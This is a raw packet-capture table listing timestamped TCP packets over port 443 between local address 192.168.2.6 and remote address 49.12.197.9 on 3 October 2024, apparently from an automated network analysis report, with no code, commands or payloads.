Oct 3, 2024 03:36:03.530955076 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.531755924 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.531785011 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.531821966 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.531826019 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.531848907 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.531867981 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.554790974 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.554852009 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.554930925 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.554938078 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.554980040 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.563936949 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.564002037 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.564035892 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.564042091 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.564052105 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.564078093 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.587356091 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.587438107 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.587445974 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.587477922 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.587507963 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.587522984 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.608119011 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.608148098 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.608189106 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.608205080 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.608220100 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.608253956 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.619687080 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.619718075 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.619790077 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.619811058 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.619824886 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.619853020 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.620807886 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.620825052 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.620874882 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.620881081 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.620904922 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.620923042 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.622132063 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.622149944 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.622201920 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.622212887 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.622256041 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.622329950 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.623075008 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.623090029 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.623141050 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.623148918 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.623183012 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.646130085 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.646157026 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.646229029 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.646250963 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.646296024 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.656693935 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.656716108 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.656794071 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.656810045 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.656851053 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.677862883 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.677891970 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.678108931 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.678133011 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.678181887 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.699589968 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.699625015 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.699784994 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.699809074 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.699851036 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.710635900 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.710671902 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.710724115 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.710742950 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.710760117 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.710779905 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.712059021 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.712078094 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.712119102 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.712129116 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.712157011 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.712166071 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.713799000 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.713819027 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.713876009 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.713885069 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.713922977 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.714709044 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.714728117 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.714780092 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.714788914 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.714823008 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.739821911 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.739847898 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.739932060 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.739949942 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.739990950 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.749392986 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.749413967 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.749499083 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.749511003 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.749541044 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.768416882 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.768440008 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.768587112 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.768599987 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.768647909 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.790364027 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.790396929 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.790522099 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.790535927 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.790575981 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.803103924 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.803124905 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.803199053 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.803209066 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.803251028 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.804300070 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.804317951 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.804368973 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.804373980 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.804413080 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.805948973 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.805972099 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.806008101 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.806013107 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.806041002 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.806051970 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.806910038 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.806926012 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.806976080 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.806981087 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.807015896 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.849628925 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.849651098 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.849796057 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.849812031 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.849855900 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.858381033 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.858406067 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.858481884 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.858491898 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.858536959 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.864286900 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.864320993 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.864419937 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.864425898 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.864466906 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.882205963 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.882227898 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.882328033 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.882337093 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.882389069 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.893665075 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.893683910 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.893749952 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.893760920 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.893800974 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.894714117 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.894745111 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.894785881 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.894794941 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.894817114 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.894834995 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.896780014 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.896796942 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.896853924 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.896862030 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.896898985 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.897850990 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.897866964 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.897923946 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.897931099 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.897967100 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.939866066 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.939925909 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.940100908 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.940114021 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.940161943 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.949354887 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.949398994 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.949453115 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.949464083 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.949484110 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.949501991 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.953707933 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.953762054 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.953809977 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.953824043 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.953841925 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.953860998 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.972465038 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.972526073 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.972583055 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.972594023 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.972630024 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.972647905 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.984390020 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.984437943 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.984493017 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.984500885 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.984529018 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.984544039 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.985531092 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.985572100 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.985601902 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.985609055 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.985635996 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.985652924 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.986679077 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.986718893 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.986753941 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.986759901 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.986769915 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.986790895 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.987818003 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.987863064 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.987886906 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.987893105 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.987924099 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.987930059 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:04.029926062 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:04.029969931 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:04.030014992 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:04.030028105 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:04.030073881 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:04.041222095 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:04.041274071 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:04.041330099 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:04.041347027 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:04.041358948 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:04.041379929 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:04.045773029 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:04.045819044 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:04.045861006 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:04.045876026 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:04.045893908 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:04.045907974 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:04.093883038 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:04.093904972 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:04.094031096 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:04.094044924 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:04.094084024 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:04.095135927 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:04.095150948 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:04.095206976 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:04.095212936 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:04.095257044 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:04.096257925 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:04.096271992 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:04.096323013 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:04.096328974 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:04.096360922 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:04.097841978 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:04.097856045 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:04.097907066 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:04.097915888 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:04.097951889 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:04.126739025 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:04.126754999 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:04.126873016 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:04.126880884 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:04.126924038 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:04.129915953 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:04.129929066 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:04.129981041 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:04.129987001 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:04.130038977 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:04.138133049 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:04.138154030 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:04.138202906 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:04.138209105 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:04.138242960 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:04.140506983 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:04.140532017 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:04.140569925 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:04.140578032 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:04.140599966 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:04.140618086 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:04.184739113 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:04.184756994 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:04.184811115 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:04.184824944 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:04.184854031 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:04.184870958 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:04.186475039 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:04.186491966 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:04.186532974 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:04.186537981 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:04.186573029 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:04.187658072 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:04.187674999 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:04.187720060 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:04.187726021 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:04.187768936 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:04.189382076 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:04.189399004 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:04.189456940 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:04.189464092 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:04.189495087 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:04.216449022 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:04.216464996 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:04.216533899 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:04.216545105 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:04.216578960 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:04.219676018 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:04.219692945 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:04.219739914 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:04.219743967 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:04.219774008 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:04.228598118 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:04.228615046 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:04.228676081 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:04.228679895 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:04.228713036 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:04.231023073 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:04.231043100 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:04.231077909 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:04.231081963 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:04.231106043 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:04.231120110 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:04.275465012 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:04.275481939 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:04.275513887 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:04.275538921 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:04.275551081 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:04.275578976 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:04.275588989 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:04.275609016 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:04.275938034 CEST	49728	443	192.168.2.6	49.12.197.9
